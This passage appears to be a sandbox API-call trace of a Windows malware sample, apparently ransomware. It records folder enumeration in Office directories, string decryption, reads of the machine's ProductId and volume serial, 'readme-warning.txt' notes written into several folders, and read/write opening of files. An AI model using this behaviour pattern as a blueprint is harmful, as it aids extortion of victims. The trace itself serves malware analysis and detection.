GetProcessHeap () returned 0x990000 [0166.843] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0166.843] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0166.843] GetProcessHeap () returned 0x990000 [0166.843] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0166.843] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0 [0166.843] GetProcessHeap () returned 0x990000 [0166.843] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0166.843] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0166.843] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0166.844] CryptDestroyKey (hKey=0x9b6668) returned 1 [0166.844] GetProcessHeap () returned 0x990000 [0166.844] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0166.844] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0166.844] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0166.844] CryptDestroyKey (hKey=0x9b6668) returned 1 [0166.844] GetProcessHeap () returned 0x990000 [0166.844] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b7e10 [0166.844] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0166.844] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b7e10, pdwDataLen=0x29dee20 | out: pbData=0x9b7e10, pdwDataLen=0x29dee20) returned 1 [0166.844] CryptDestroyKey (hKey=0x9b6668) returned 1 [0166.844] GetProcessHeap () returned 0x990000 [0166.844] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0166.844] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0166.844] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0166.844] CryptDestroyKey (hKey=0x9b6668) returned 1 [0166.844] GetProcessHeap () returned 0x990000 [0166.844] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0166.844] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0166.844] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0166.844] CryptDestroyKey (hKey=0x9b6668) returned 1 [0166.845] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x118) returned 0x0 [0166.845] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0166.845] RegCloseKey (hKey=0x118) returned 0x0 [0166.845] GetProcessHeap () returned 0x990000 [0166.845] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0166.845] GetProcessHeap () returned 0x990000 [0166.845] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0166.845] GetProcessHeap () returned 0x990000 [0166.846] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0166.846] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0166.846] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0166.846] CryptDestroyKey (hKey=0x9b6668) returned 1 [0166.846] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0166.846] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0166.846] GetProcessHeap () returned 0x990000 [0166.846] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0166.846] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0166.846] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0166.846] GetProcessHeap () returned 0x990000 [0166.846] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9760 [0166.846] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\readme-warning.txt") returned 98 [0166.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0166.847] WriteFile (in: hFile=0x118, lpBuffer=0x9f9760*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9f9760*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0166.848] CloseHandle (hObject=0x118) returned 1 [0166.849] GetProcessHeap () returned 0x990000 [0166.849] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0166.849] GetProcessHeap () returned 0x990000 [0166.849] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0166.849] GetProcessHeap () returned 0x990000 [0166.849] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0166.849] GetProcessHeap () returned 0x990000 [0166.849] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0166.849] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0166.849] GetProcessHeap () returned 0x990000 [0166.849] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b50 | out: hHeap=0x990000) returned 1 [0166.849] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0166.849] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0166.849] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0166.849] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0166.849] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0166.849] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0166.849] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0166.849] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0166.849] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0166.849] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0166.849] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0166.850] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0166.850] GetProcessHeap () returned 0x990000 [0166.850] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0166.850] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0166.850] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df0a8 | out: pbData=0x9af7b0, pdwDataLen=0x29df0a8) returned 1 [0166.850] CryptDestroyKey (hKey=0x9b6628) returned 1 [0166.850] GetProcessHeap () returned 0x990000 [0166.850] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0166.850] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0166.850] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df0a8 | out: pbData=0x9af7f8, pdwDataLen=0x29df0a8) returned 1 [0166.850] CryptDestroyKey (hKey=0x9b6628) returned 1 [0166.850] GetProcessHeap () returned 0x990000 [0166.850] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b7b50 [0166.850] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0166.850] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b7b50, pdwDataLen=0x29df0a8 | out: pbData=0x9b7b50, pdwDataLen=0x29df0a8) returned 1 [0166.850] CryptDestroyKey (hKey=0x9b6628) returned 1 [0166.850] GetProcessHeap () returned 0x990000 [0166.850] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0166.850] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0166.850] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dec88 | out: pbData=0x9af840, pdwDataLen=0x29dec88) returned 1 [0166.850] CryptDestroyKey (hKey=0x9b6628) returned 1 [0166.851] GetProcessHeap () returned 0x990000 [0166.851] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0166.851] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0166.851] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dec88 | out: pbData=0x9b18c8, pdwDataLen=0x29dec88) returned 1 [0166.851] CryptDestroyKey (hKey=0x9b6628) returned 1 [0166.851] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29dec84 | out: phkResult=0x29dec84*=0xf0) returned 0x0 [0166.851] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dec90, lpcbData=0x29dec8c*=0x400 | out: lpType=0x0, lpData=0x29dec90*=0x30, lpcbData=0x29dec8c*=0x18) returned 0x0 [0166.851] RegCloseKey (hKey=0xf0) returned 0x0 [0166.851] GetProcessHeap () returned 0x990000 [0166.851] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0166.851] GetProcessHeap () returned 0x990000 [0166.851] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0166.851] GetProcessHeap () returned 0x990000 [0166.851] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0166.851] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0166.851] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea5c | out: pbData=0x9b18c8, pdwDataLen=0x29dea5c) returned 1 [0166.851] CryptDestroyKey (hKey=0x9b6628) returned 1 [0166.851] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0166.851] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0166.852] GetProcessHeap () returned 0x990000 [0166.852] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0166.852] wsprintfA (in: param_1=0x29deca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0166.852] wsprintfA (in: param_1=0x29df0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0166.852] GetProcessHeap () returned 0x990000 [0166.852] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b7f18 [0166.852] wsprintfW (in: param_1=0x29de084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\readme-warning.txt") returned 74 [0166.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0166.853] WriteFile (in: hFile=0xf0, lpBuffer=0x9b7f18*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de080, lpOverlapped=0x0 | out: lpBuffer=0x9b7f18*, lpNumberOfBytesWritten=0x29de080*=0x3b3, lpOverlapped=0x0) returned 1 [0166.854] CloseHandle (hObject=0xf0) returned 1 [0166.854] GetProcessHeap () returned 0x990000 [0166.854] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b50 | out: hHeap=0x990000) returned 1 [0166.854] GetProcessHeap () returned 0x990000 [0166.854] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7f18 | out: hHeap=0x990000) returned 1 [0166.854] GetProcessHeap () returned 0x990000 [0166.854] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0166.854] GetProcessHeap () returned 0x990000 [0166.854] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0166.854] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0166.854] GetProcessHeap () returned 0x990000 [0166.855] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0166.855] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0166.855] GetProcessHeap () returned 0x990000 [0166.855] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xb0) returned 0x9b2468 [0166.855] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0167.107] GetProcessHeap () returned 0x990000 [0167.107] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0167.107] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0167.107] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0167.107] GetProcessHeap () returned 0x990000 [0167.107] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2b2) returned 0x9f9760 [0167.107] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0167.107] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 1 [0167.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.112] GetProcessHeap () returned 0x990000 [0167.112] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0167.112] CryptGenRandom (in: hProv=0x9acd90, 